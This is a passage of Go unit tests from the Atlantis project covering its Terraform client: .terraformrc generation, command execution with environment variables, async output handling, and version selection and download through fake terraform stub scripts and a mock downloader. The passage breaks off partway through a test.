    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage tfclient\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\truntimemodels \"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\tterraform_mocks \"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\tlogmocks \"github.com/runatlantis/atlantis/server/logging/mocks\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\n// Test that we write the file as expected\nfunc TestGenerateRCFile_WritesFile(t *testing.T) {\n\ttmp := t.TempDir()\n\n\terr := generateRCFile(\"token\", \"hostname\", tmp)\n\tOk(t, err)\n\n\texpContents := `credentials \"hostname\" {\n  token = \"token\"\n}`\n\tactContents, err := os.ReadFile(filepath.Join(tmp, \".terraformrc\"))\n\tOk(t, err)\n\tEquals(t, expContents, string(actContents))\n}\n\n// Test that if the file already exists and its contents will be modified if\n// we write our config that we error out.\nfunc TestGenerateRCFile_WillNotOverwrite(t *testing.T) {\n\ttmp := t.TempDir()\n\n\trcFile := filepath.Join(tmp, \".terraformrc\")\n\terr := os.WriteFile(rcFile, []byte(\"contents\"), 0600)\n\tOk(t, err)\n\n\tactErr := generateRCFile(\"token\", \"hostname\", tmp)\n\texpErr := fmt.Sprintf(\"can't write TFE token to %s because that file has contents that would be overwritten\", tmp+\"/.terraformrc\")\n\tErrEquals(t, expErr, actErr)\n}\n\n// Test that if the file already exists and its contents will NOT be modified if\n// we write our config that we don't error.\nfunc TestGenerateRCFile_NoErrIfContentsSame(t *testing.T) {\n\ttmp := t.TempDir()\n\n\trcFile := filepath.Join(tmp, \".terraformrc\")\n\tcontents := `credentials \"app.terraform.io\" {\n  token = \"token\"\n}`\n\terr := os.WriteFile(rcFile, []byte(contents), 0600)\n\tOk(t, err)\n\n\terr = generateRCFile(\"token\", \"app.terraform.io\", tmp)\n\tOk(t, err)\n}\n\n// Test that if we can't read the existing file to see if the contents will be\n// the same that we just error out.\nfunc TestGenerateRCFile_ErrIfCannotRead(t *testing.T) {\n\ttmp := t.TempDir()\n\n\trcFile := filepath.Join(tmp, \".terraformrc\")\n\terr := os.WriteFile(rcFile, []byte(\"can't see me!\"), 0000)\n\tOk(t, err)\n\n\texpErr := fmt.Sprintf(\"trying to read %s to ensure we're not overwriting it: open %s: permission denied\", rcFile, rcFile)\n\tactErr := generateRCFile(\"token\", \"hostname\", tmp)\n\tErrEquals(t, expErr, actErr)\n}\n\n// Test that if we can't write, we error out.\nfunc TestGenerateRCFile_ErrIfCannotWrite(t *testing.T) {\n\trcFile := \"/this/dir/does/not/exist/.terraformrc\"\n\texpErr := fmt.Sprintf(\"writing generated .terraformrc file with TFE token to %s: open %s: no such file or directory\", rcFile, rcFile)\n\tactErr := generateRCFile(\"token\", \"hostname\", \"/this/dir/does/not/exist\")\n\tErrEquals(t, expErr, actErr)\n}\n\n// Test that it executes with the expected env vars.\nfunc TestDefaultClient_RunCommandWithVersion_EnvVars(t *testing.T) {\n\tv, err := version.NewVersion(\"0.11.11\")\n\tOk(t, err)\n\ttmp := t.TempDir()\n\tlogger := logging.NewNoopLogger(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t}\n\tclient := &DefaultClient{\n\t\tdefaultVersion:          v,\n\t\tterraformPluginCacheDir: tmp,\n\t\toverrideTF:              \"echo\",\n\t\tusePluginCache:          true,\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\n\targs := []string{\n\t\t\"TF_IN_AUTOMATION=$TF_IN_AUTOMATION\",\n\t\t\"TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR\",\n\t\t\"WORKSPACE=$WORKSPACE\",\n\t\t\"ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION\",\n\t\t\"DIR=$DIR\",\n\t}\n\tcustomEnvVars := map[string]string{}\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\tout, err := client.RunCommandWithVersion(ctx, tmp, args, customEnvVars, distribution, nil, \"workspace\")\n\tOk(t, err)\n\texp := fmt.Sprintf(\"TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s\\n\", tmp, tmp)\n\tEquals(t, exp, out)\n}\n\n// Test that it returns an error on error.\nfunc TestDefaultClient_RunCommandWithVersion_Error(t *testing.T) {\n\tv, err := version.NewVersion(\"0.11.11\")\n\tOk(t, err)\n\ttmp := t.TempDir()\n\tlogger := logging.NewNoopLogger(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tclient := &DefaultClient{\n\t\tdefaultVersion:          v,\n\t\tterraformPluginCacheDir: tmp,\n\t\toverrideTF:              \"echo\",\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\n\targs := []string{\n\t\t\"dying\",\n\t\t\"&&\",\n\t\t\"exit\",\n\t\t\"1\",\n\t}\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\tout, err := client.RunCommandWithVersion(ctx, tmp, args, map[string]string{}, distribution, nil, \"workspace\")\n\tErrEquals(t, fmt.Sprintf(`running 'echo dying && exit 1' in '%s': exit status 1`, tmp), err)\n\t// Test that we still get our output.\n\tEquals(t, \"dying\\n\", out)\n}\n\nfunc TestDefaultClient_RunCommandAsync_Success(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tv, err := version.NewVersion(\"0.11.11\")\n\tOk(t, err)\n\ttmp := t.TempDir()\n\tlogger := logmocks.NewMockSimpleLogging()\n\tWhen(logger.With(Any[string](), Any[any]())).ThenReturn(logger)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tclient := &DefaultClient{\n\t\tdefaultVersion:          v,\n\t\tterraformPluginCacheDir: tmp,\n\t\toverrideTF:              \"echo\",\n\t\tusePluginCache:          true,\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\n\targs := []string{\n\t\t\"TF_IN_AUTOMATION=$TF_IN_AUTOMATION\",\n\t\t\"TF_PLUGIN_CACHE_DIR=$TF_PLUGIN_CACHE_DIR\",\n\t\t\"WORKSPACE=$WORKSPACE\",\n\t\t\"ATLANTIS_TERRAFORM_VERSION=$ATLANTIS_TERRAFORM_VERSION\",\n\t\t\"DIR=$DIR\",\n\t}\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\t_, outCh := client.RunCommandAsync(ctx, tmp, args, map[string]string{}, distribution, nil, \"workspace\")\n\n\tout, err := waitCh(outCh)\n\tOk(t, err)\n\texp := fmt.Sprintf(\"TF_IN_AUTOMATION=true TF_PLUGIN_CACHE_DIR=%s WORKSPACE=workspace ATLANTIS_TERRAFORM_VERSION=0.11.11 DIR=%s\", tmp, tmp)\n\tEquals(t, exp, out)\n\n\tlogger.VerifyWasCalledOnce().With(Eq(\"duration\"), Any[any]())\n}\n\nfunc TestDefaultClient_RunCommandAsync_BigOutput(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tv, err := version.NewVersion(\"0.11.11\")\n\tOk(t, err)\n\ttmp := t.TempDir()\n\tlogger := logmocks.NewMockSimpleLogging()\n\tWhen(logger.With(Any[string](), Any[any]())).ThenReturn(logger)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tclient := &DefaultClient{\n\t\tdefaultVersion:          v,\n\t\tterraformPluginCacheDir: tmp,\n\t\toverrideTF:              \"cat\",\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\tfilename := filepath.Join(tmp, \"data\")\n\tf, err := os.OpenFile(filename, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)\n\tOk(t, err)\n\n\tvar exp strings.Builder\n\tfor range 1024 {\n\t\ts := strings.Repeat(\"0\", 10) + \"\\n\"\n\t\texp.WriteString(s)\n\t\t_, err = f.WriteString(s)\n\t\tOk(t, err)\n\t}\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\t_, outCh := client.RunCommandAsync(ctx, tmp, []string{filename}, map[string]string{}, distribution, nil, \"workspace\")\n\n\tout, err := waitCh(outCh)\n\tOk(t, err)\n\tEquals(t, strings.TrimRight(exp.String(), \"\\n\"), out)\n\n\tlogger.VerifyWasCalledOnce().With(Eq(\"duration\"), Any[any]())\n}\n\nfunc TestDefaultClient_RunCommandAsync_StderrOutput(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tv, err := version.NewVersion(\"0.11.11\")\n\tOk(t, err)\n\ttmp := t.TempDir()\n\tlogger := logmocks.NewMockSimpleLogging()\n\tWhen(logger.With(Any[string](), Any[any]())).ThenReturn(logger)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tclient := &DefaultClient{\n\t\tdefaultVersion:          v,\n\t\tterraformPluginCacheDir: tmp,\n\t\toverrideTF:              \"echo\",\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\t_, outCh := client.RunCommandAsync(ctx, tmp, []string{\"stderr\", \">&2\"}, map[string]string{}, distribution, nil, \"workspace\")\n\n\tout, err := waitCh(outCh)\n\tOk(t, err)\n\tEquals(t, \"stderr\", out)\n\n\tlogger.VerifyWasCalledOnce().With(Eq(\"duration\"), Any[any]())\n}\n\nfunc TestDefaultClient_RunCommandAsync_ExitOne(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tv, err := version.NewVersion(\"0.11.11\")\n\tOk(t, err)\n\ttmp := t.TempDir()\n\tlogger := logmocks.NewMockSimpleLogging()\n\tWhen(logger.With(Any[string](), Any[any]())).ThenReturn(logger)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tclient := &DefaultClient{\n\t\tdefaultVersion:          v,\n\t\tterraformPluginCacheDir: tmp,\n\t\toverrideTF:              \"echo\",\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\t_, outCh := client.RunCommandAsync(ctx, tmp, []string{\"dying\", \"&&\", \"exit\", \"1\"}, map[string]string{}, distribution, nil, \"workspace\")\n\n\tout, err := waitCh(outCh)\n\tErrEquals(t, fmt.Sprintf(`running 'sh -c' 'echo dying && exit 1' in '%s': exit status 1`, tmp), err)\n\t// Test that we still get our output.\n\tEquals(t, \"dying\", out)\n\n\tlogger.VerifyWasCalledOnce().With(Eq(\"duration\"), Any[any]())\n}\n\nfunc TestDefaultClient_RunCommandAsync_Input(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tv, err := version.NewVersion(\"0.11.11\")\n\tOk(t, err)\n\ttmp := t.TempDir()\n\tlogger := logmocks.NewMockSimpleLogging()\n\tWhen(logger.With(Any[string](), Any[any]())).ThenReturn(logger)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\tctx := command.ProjectContext{\n\t\tLog:                logger,\n\t\tWorkspace:          \"default\",\n\t\tRepoRelDir:         \".\",\n\t\tUser:               models.User{Username: \"username\"},\n\t\tEscapedCommentArgs: []string{\"comment\", \"args\"},\n\t\tProjectName:        \"projectname\",\n\t\tPull: models.PullRequest{\n\t\t\tNum: 2,\n\t\t},\n\t\tBaseRepo: models.Repo{\n\t\t\tFullName: \"owner/repo\",\n\t\t\tOwner:    \"owner\",\n\t\t\tName:     \"repo\",\n\t\t},\n\t}\n\tclient := &DefaultClient{\n\t\tdefaultVersion:          v,\n\t\tterraformPluginCacheDir: tmp,\n\t\toverrideTF:              \"read\",\n\t\tprojectCmdOutputHandler: projectCmdOutputHandler,\n\t}\n\n\tmockDownloader := terraform_mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\tinCh, outCh := client.RunCommandAsync(ctx, tmp, []string{\"a\", \"&&\", \"echo\", \"$a\"}, map[string]string{}, distribution, nil, \"workspace\")\n\tinCh <- \"echo me\\n\"\n\n\tout, err := waitCh(outCh)\n\tOk(t, err)\n\tEquals(t, \"echo me\", out)\n\n\tlogger.VerifyWasCalledOnce().With(Eq(\"duration\"), Any[any]())\n}\n\nfunc waitCh(ch <-chan runtimemodels.Line) (string, error) {\n\tvar ls []string\n\tfor line := range ch {\n\t\tif line.Err != nil {\n\t\t\treturn strings.Join(ls, \"\\n\"), line.Err\n\t\t}\n\t\tls = append(ls, line.Line)\n\t}\n\treturn strings.Join(ls, \"\\n\"), nil\n}\n"
  },
  {
    "path": "server/core/terraform/tfclient/terraform_client_test.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage tfclient_test\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"reflect\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\tversion \"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/cmd\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/terraform/tfclient\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\tjobmocks \"github.com/runatlantis/atlantis/server/jobs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestMustConstraint_PanicsOnBadConstraint(t *testing.T) {\n\tt.Log(\"MustConstraint should panic on a bad constraint\")\n\tdefer func() {\n\t\tif r := recover(); r == nil {\n\t\t\tt.Errorf(\"The code did not panic\")\n\t\t}\n\t}()\n\n\ttfclient.MustConstraint(\"invalid constraint\")\n}\n\nfunc TestMustConstraint(t *testing.T) {\n\tt.Log(\"MustConstraint should return the constrain\")\n\tc := tfclient.MustConstraint(\">0.1\")\n\texpectedConstraint, err := version.NewConstraint(\">0.1\")\n\tOk(t, err)\n\tEquals(t, expectedConstraint.String(), c.String())\n}\n\n// Test that if terraform is in path and we're not setting the default-tf flag,\n// that we use that version as our default version.\nfunc TestNewClient_LocalTFOnly(t *testing.T) {\n\tfakeBinOut := `Terraform v0.11.10\n\nYour version of Terraform is out of date! The latest version\nis 0.11.13. You can update by downloading from developer.hashicorp.com/terraform/downloads\n`\n\ttmp, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tctx := command.ProjectContext{\n\t\tLog:        logging.NewNoopLogger(t),\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\tlogger := logging.NewNoopLogger(t)\n\n\t// We're testing this by adding our own \"fake\" terraform binary to path that\n\t// outputs what would normally come from terraform version.\n\terr := os.WriteFile(filepath.Join(tmp, \"terraform\"), fmt.Appendf(nil, \"#!/bin/sh\\necho '%s'\", fakeBinOut), 0700) // #nosec G306\n\tOk(t, err)\n\tdefer tempSetEnv(t, \"PATH\", fmt.Sprintf(\"%s:%s\", tmp, os.Getenv(\"PATH\")))()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tc, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tOk(t, err)\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\toutput, err := c.RunCommandWithVersion(ctx, tmp, []string{\"terraform\", \"init\"}, map[string]string{\"test\": \"123\"}, distribution, nil, \"\")\n\tOk(t, err)\n\tEquals(t, fakeBinOut+\"\\n\", output)\n}\n\n// Test that if terraform is in path and the default-tf flag is set to the\n// same version that we don't download anything.\nfunc TestNewClient_LocalTFMatchesFlag(t *testing.T) {\n\tfakeBinOut := `Terraform v0.11.10\n\nYour version of Terraform is out of date! The latest version\nis 0.11.13. You can update by downloading from developer.hashicorp.com/terraform/downloads\n`\n\tlogger := logging.NewNoopLogger(t)\n\ttmp, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tctx := command.ProjectContext{\n\t\tLog:        logging.NewNoopLogger(t),\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\t// We're testing this by adding our own \"fake\" terraform binary to path that\n\t// outputs what would normally come from terraform version.\n\terr := os.WriteFile(filepath.Join(tmp, \"terraform\"), fmt.Appendf(nil, \"#!/bin/sh\\necho '%s'\", fakeBinOut), 0700) // #nosec G306\n\tOk(t, err)\n\tdefer tempSetEnv(t, \"PATH\", fmt.Sprintf(\"%s:%s\", tmp, os.Getenv(\"PATH\")))()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tc, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tOk(t, err)\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\toutput, err := c.RunCommandWithVersion(ctx, tmp, []string{\"terraform\", \"init\"}, map[string]string{}, distribution, nil, \"\")\n\tOk(t, err)\n\tEquals(t, fakeBinOut+\"\\n\", output)\n}\n\n// Test that if terraform is not in PATH and we didn't set the default-tf flag\n// that we error.\nfunc TestNewClient_NoTF(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\ttmp, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\n\t// Set PATH to only include our empty directory.\n\tdefer tempSetEnv(t, \"PATH\", tmp)()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\t_, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tErrEquals(t, \"terraform not found in $PATH. Set --default-tf-version or download terraform from https://developer.hashicorp.com/terraform/downloads\", err)\n}\n\n// Test that if the default-tf flag is set and that binary is in our PATH\n// that we use it.\nfunc TestNewClient_DefaultTFFlagInPath(t *testing.T) {\n\tfakeBinOut := \"Terraform v0.11.10\\n\"\n\tlogger := logging.NewNoopLogger(t)\n\ttmp, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tctx := command.ProjectContext{\n\t\tLog:        logging.NewNoopLogger(t),\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\t// We're testing this by adding our own \"fake\" terraform binary to path that\n\t// outputs what would normally come from terraform version.\n\terr := os.WriteFile(filepath.Join(tmp, \"terraform0.11.10\"), fmt.Appendf(nil, \"#!/bin/sh\\necho '%s'\", fakeBinOut), 0700) // #nosec G306\n\tOk(t, err)\n\tdefer tempSetEnv(t, \"PATH\", fmt.Sprintf(\"%s:%s\", tmp, os.Getenv(\"PATH\")))()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tc, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, false, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tOk(t, err)\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\toutput, err := c.RunCommandWithVersion(ctx, tmp, []string{\"terraform\", \"init\"}, map[string]string{}, distribution, nil, \"\")\n\tOk(t, err)\n\tEquals(t, fakeBinOut+\"\\n\", output)\n}\n\n// Test that if the default-tf flag is set and that binary is in our download\n// bin dir that we use it.\nfunc TestNewClient_DefaultTFFlagInBinDir(t *testing.T) {\n\tfakeBinOut := \"Terraform v0.11.10\\n\"\n\ttmp, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tctx := command.ProjectContext{\n\t\tLog:        logging.NewNoopLogger(t),\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\t// Add our fake binary to {datadir}/bin/terraform{version}.\n\terr := os.WriteFile(filepath.Join(binDir, \"terraform0.11.10\"), fmt.Appendf(nil, \"#!/bin/sh\\necho '%s'\", fakeBinOut), 0700) // #nosec G306\n\tOk(t, err)\n\tdefer tempSetEnv(t, \"PATH\", fmt.Sprintf(\"%s:%s\", tmp, os.Getenv(\"PATH\")))()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\n\tc, err := tfclient.NewClient(logging.NewNoopLogger(t), distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tOk(t, err)\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\toutput, err := c.RunCommandWithVersion(ctx, tmp, []string{\"terraform\", \"init\"}, map[string]string{}, distribution, nil, \"\")\n\tOk(t, err)\n\tEquals(t, fakeBinOut+\"\\n\", output)\n}\n\n// Test that if we don't have that version of TF that we download it.\nfunc TestNewClient_DefaultTFFlagDownload(t *testing.T) {\n\tRegisterMockTestingT(t)\n\tlogger := logging.NewNoopLogger(t)\n\ttmp, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tctx := command.ProjectContext{\n\t\tLog:        logging.NewNoopLogger(t),\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\t// Set PATH to empty so there's no TF available.\n\torig := os.Getenv(\"PATH\")\n\tdefer tempSetEnv(t, \"PATH\", \"\")()\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tWhen(mockDownloader.Install(Any[context.Context](), Any[string](), Any[string](), Any[*version.Version]())).Then(func(params []Param) ReturnValues {\n\t\tbinPath := filepath.Join(params[1].(string), \"terraform0.11.10\")\n\t\terr := os.WriteFile(binPath, []byte(\"#!/bin/sh\\necho '\\nTerraform v0.11.10\\n'\"), 0700) // #nosec G306\n\t\treturn []ReturnValue{binPath, err}\n\t})\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\tc, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tOk(t, err)\n\n\tOk(t, err)\n\tEquals(t, \"0.11.10\", c.DefaultVersion().String())\n\n\tmockDownloader.VerifyWasCalledEventually(Once(), 2*time.Second).Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, version.Must(version.NewVersion(\"0.11.10\")))\n\n\t// Reset PATH so that it has sh.\n\tOk(t, os.Setenv(\"PATH\", orig))\n\n\toutput, err := c.RunCommandWithVersion(ctx, tmp, []string{\"terraform\", \"init\"}, map[string]string{}, distribution, nil, \"\")\n\tOk(t, err)\n\tEquals(t, \"\\nTerraform v0.11.10\\n\\n\", output)\n}\n\n// Test that we get an error if the terraform version flag is malformed.\nfunc TestNewClient_BadVersion(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\t_, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\t_, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"malformed\", cmd.DefaultTFVersionFlag, cmd.DefaultTFDownloadURL, true, true, projectCmdOutputHandler)\n\tErrEquals(t, \"Malformed version: malformed\", err)\n}\n\n// Test that if we run a command with a version we don't have, we download it.\nfunc TestRunCommandWithVersion_DLsTF(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\ttmp, binDir, cacheDir := mkSubDirs(t)\n\tprojectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler()\n\tctx := command.ProjectContext{\n\t\tLog:        logging.NewNoopLogger(t),\n\t\tWorkspace:  \"default\",\n\t\tRepoRelDir: \".\",\n\t}\n\n\tv, err := version.NewVersion(\"99.99.99\")\n\tOk(t, err)\n\n\tmockDownloader := mocks.NewMockDownloader()\n\tdistribution := terraform.NewDistributionTerraformWithDownloader(mockDownloader)\n\t// Set up our mock downloader to write a fake tf binary when it's called.\n\tWhen(mockDownloader.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, v)).Then(func(params []Param) ReturnValues {\n\t\tbinPath := filepath.Join(params[1].(string), \"terraform99.99.99\")\n\t\terr := os.WriteFile(binPath, []byte(\"#!/bin/sh\\necho '\\nTerraform v99.99.99\\n'\"), 0700) // #nosec G306\n\t\treturn []ReturnValue{binPath, err}\n\t})\n\n\tc, err := tfclient.NewClient(logger, distribution, binDir, cacheDir, \"\", \"\", \"0.11.10\", 